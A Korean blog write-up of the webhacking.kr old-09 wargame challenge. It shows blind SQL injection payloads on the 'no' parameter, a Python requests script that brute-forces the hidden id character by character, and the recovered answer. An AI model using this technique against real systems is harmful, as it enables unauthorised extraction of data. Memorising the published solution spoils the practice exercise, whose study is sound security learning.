김승현
[webhacking.kr] old-09 9번 문제 write up 본문
접속하면 이렇게 생겼다.
1번을 누르면 apple
2번은 바나나
3번은 Secret이다. column으로 id와 no가 있다는 걸 보면 sqli와 관련이 있어보인다.
password에 입력해봤는데 pw파라미터로 입력되는 걸 알 수 있었고 숫자는 no 파라미터인 걸 알 수 있다. 처음엔
password에 시도를 계속 해봤는데 딱히 변하는 게 없었다.
password는 아마 secret의 id 값을 입력하는 데인 것 같은데 입력이 11자로 제한된 걸 보니 id가 11자리 문자열인 것 같다.
no파라미터에 length(5)라는 값을 입력했는데 apple이 뜨는 걸로 봐선 여기에 sqli를 시도하면 될 것 같다.
if(length(id)like(11),3,0)
이렇게 입력해줬다. 만약 id의 길이가 11이면 no=3이 되고, 아니면 1이 되어 아무것도 뜨지 않게 했다. 길이부터 확인을
해봤는데 아까 봤듯이 11자리인 걸 알 수 있다. 이제 각 자리의 값들을 알아내보자.
if(substr(id,1,1)like(0x61),3,0)
이런 식으로 substr을 이용해서 한 자리 한 자리 확인하고 일치한다면 secret을 띄우게 하면 알아낼 수 있다.
간편하게 하기 위해 python 코드를 작성해보았다.
import requests
url ="https://webhacking.kr/challenge/web-09/index.php?no="
cookie = {
"PHPSESSID" : "본인의 세션값"
}
password=""
for i in range(1, 12):
for j in range(60,127):
param=f"if(substr(id,{i},1)like({hex(j)}),3,0)"
print(url+param)
uri=url+param
res = requests.get(uri,cookies=cookie)
if "Secret" in res.text:
print (f"{i}번째는 {chr(j)}")
password += chr(j)
break
print(password)
이렇게 가볍게 작성해봤고
이렇게 alsrkswhaql이라는 값이 나왔다.(민간좀비)
이렇게 입력해주면
짠
'Web > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] old-10 10번 문제 write up (0) | 2023.03.31 |
---|---|
[webhacking.kr] old-08 8번 문제 write up (0) | 2023.03.29 |
[webhacking.kr] old-07 7번 문제 write up (0) | 2023.03.11 |
[webhacking.kr] old-06 6번 문제 write up (0) | 2023.03.11 |
[webhacking.kr] old-05 5번 문제 write up (0) | 2023.03.09 |